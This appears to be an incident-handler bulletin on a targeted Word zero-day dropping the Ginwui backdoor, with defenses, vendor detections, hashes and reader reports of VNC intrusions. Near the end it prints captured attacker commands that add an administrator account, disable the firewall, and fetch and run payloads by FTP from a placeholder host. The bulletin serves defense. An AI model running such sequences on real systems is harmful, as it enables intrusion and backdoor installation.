• User education is of course key, but likely insufficient. Attacks like that will use very plausible messages. Create some examples to re-emphasize this fact. "What if you receive a message from a customer you know, referencing a project you are working on, that includes a Word document". Teach users to double check out of band. "Do not open the document before calling the customer".
• Do not trust Antivirus alone. Defending against 0-day is all about defense in depth. Antivirus is likely going to fail you for an exploit like that. Consider a system that quarantines attachments for at least 6-12 hours to allow anti virus signatures to catch up. This may not be acceptable for a lot of organizations, but in particular right now, with a known exploit, it may be a reasonable step.
• Limit users' privileges. The particular sample we received will not run as a non-administrator user. It will be MUCH easier to clean up after an exploit like that if the user had no administrator rights.
• Monitor outbound traffic. Your IDS and your firewall are as valuable to protect your network from malicious traffic entering as they are in protecting you against your corporate secrets leaving your network. Consider deploying "honey tokens", files with interesting names that contain a particular signature your IDS will detect.
• Block outbound traffic. Try to limit sites accessible to users and use techniques like proxy servers to isolate your clients further. Proxy filter logs will also work great as an IDS to detect suspect traffic.
• Limit data on desktops. Try to teach users to limit data they store "in reach". This is a difficult balance. But a file on a remote system, which would require additional authentication, will likely not be accessible by a bot as in this case. Locally encrypted files will work too (as long as they stay encrypted until used). Encrypted file systems will not help as they will be accessible to the user opening the word document.

• consider additional filtering, for example using software which converts Word DOC format to something which cannot carry the virus, e.g. RTF.  Consider using the free wvWare library. You will lose formatting but that might be an acceptable bargain for e-mail incoming from outside your organisation.
  

• consider the possibility of disabling Word and replacing it with OpenOffice until Microsoft releases patches.

Vendor information:

McAfee

File size: 233472 bytes
MD5: c1bb026ec2b42adc17d0efb7bb31f4dc
SHA1: 02b9a9530e0f4edb3bc512707c16390ea5b394d1

Symantec

• Dropper component
• Backdoor.Ginwui (Backdoor component)
• Backdoor.Ginwui.B

F-secure

• F-Secure

Microsoft

From the Microsoft Security Response Center we understood that they are developing a patch and expect it to be for inclusion in the next 2nd tuesday update. Their full recommendation:

Microsoft is investigating new public reports of a "zero-day" attack using a vulnerability in Microsoft Word XP and Microsoft Word 2003. In order for this attack to be carried out, a user most first open a malicious Word document attached to an e-mail or otherwise provided to them by an attacker.  Microsoft will continue to investigate the public reports to help provide additional guidance for customers as necessary.

Trendmicro

Ivan from Trendmicro sent us where their updates can be found. Thanks Ivan!

Trojanized Word document files:

• W97M_MDROPPER.AB
• W97M_MDROPPER.AC

Dropped malcodes:

• BKDR_GINWUI.A
• BKDR_GINWUI.B

• Trojan-Dropper.MSWord.1Table.bd

Dropped Malcodes:

• Backdoor.Win32.Gusi.a
  

Learn

FUD ?

In reaction to this reporting we've seen people react to it like it were a widespread thing. We need to stress this is not the case. This kind of attack is new, and so must the response be.

The group originating these attacks does so in a very targeted fashion. The document is crafted to target a specific organization, containing specific elements that deal with just that one organization. If you don't work for them, you are very unlikely to ever see this. Proof of how rare it is, are the number of requests for samples we got from companies like anti-virus vendors.

Chances are really huge you're not targeted, at least not by this exploit. There is so far one group doing (at least) one very targeted attacks with this. Either they need to change their method of operation to do widespread attacks, or some other group would need to get a sample, reverse engineer it, find the core of the exploit, modify it to work in a wider fashion and launch a new attack.

So do you need to dig in now? Most likely not, we suggest you act as if it's any new vulnerability where the details are still very well hidden.

• The one being targeted organization needs specific actions.
  
• If you are on the potential target list, you need to learn to defend against the unknown, not against this threat.
  
• If you're not on their target list, chances are you will not see an exploit till Microsoft releases a patch and the knowledge to exploit it can be derived by the hackers.

Panic and blindly taking actions is probably the worst course of action you can take.

Report

More information:

• Analysis and vendor information
• Defenses
• Summary

Many thanks to all handlers active on this: Johannes, Chris, William, Adrien.

• Austin from the UK reports that all shared printers in his office stated to print:

Dear Network Administrator. 

Please do not be alarmed. 
My team is network security specialist. 

You are using a vulnerable version of VNC. 
Please upgrade your version soon.

We have not accessed your data but we could have. 
Have a nice day

• An Anonymous report about the installation of typical tools installed by the warez and hacker crowd such as Serv-U and pwdump.
  
  
• Mike reported on a machine getting hacked and sent us what his IDS caught of it:

  net user [user] [pass] /ADD
  net localgroup Administrators [user] /ADD
  net stop sharedaccess
  sc delete sharedaccess
  echo open [IP] [port]  > ftptmp
  echo user [ftpuserinfo]  >> ftptmp
  echo get usercontrol.exe  >> ftptmp
  echo get helpservice.svc  >> ftptmp
  echo get JAcheck.ini  >> ftptmp
  echo get JAcheck.dll  >> ftptmp
  echo bye  >> ftptmp
  ftp -n -s:ftptmp
  del ftptmp
  usercontrol /i
  net start "ms system service"

• An anonymous user reports: "We have been using RealVNC 4.1.1 and have been experiencing successful unauthorized connections to our machines. Also, we have seen increased traffic on our network which looks like scanning, some network printers have also been printing pages of gibberish." He concluded with "We are currently upgrading all VNC servers to 4.1.2."
  
  
• Another anonymously reported attack that was done on port 5900 (also an IDS capture), so the RealVNC angle is only an assumption at this point:
  

  cd %WINDIR%\system32
  echo open [IP] [PORT] >>ms32
  echo [user] >>ms32
  echo [pass] >>ms32
  echo get pack.exe>>ms32
  echo get Iass.exe>>ms32
  echo get mssd.ini>>ms32
  echo get fport.exe>>ms32
  echo get op.exe>>ms32
  echo get pskill.exe>>ms32
  echo bye>>ms32
  ftp -v -s:ms32
  Iass.exe /I
  ipconfig
  net start dnsd
  pack.exe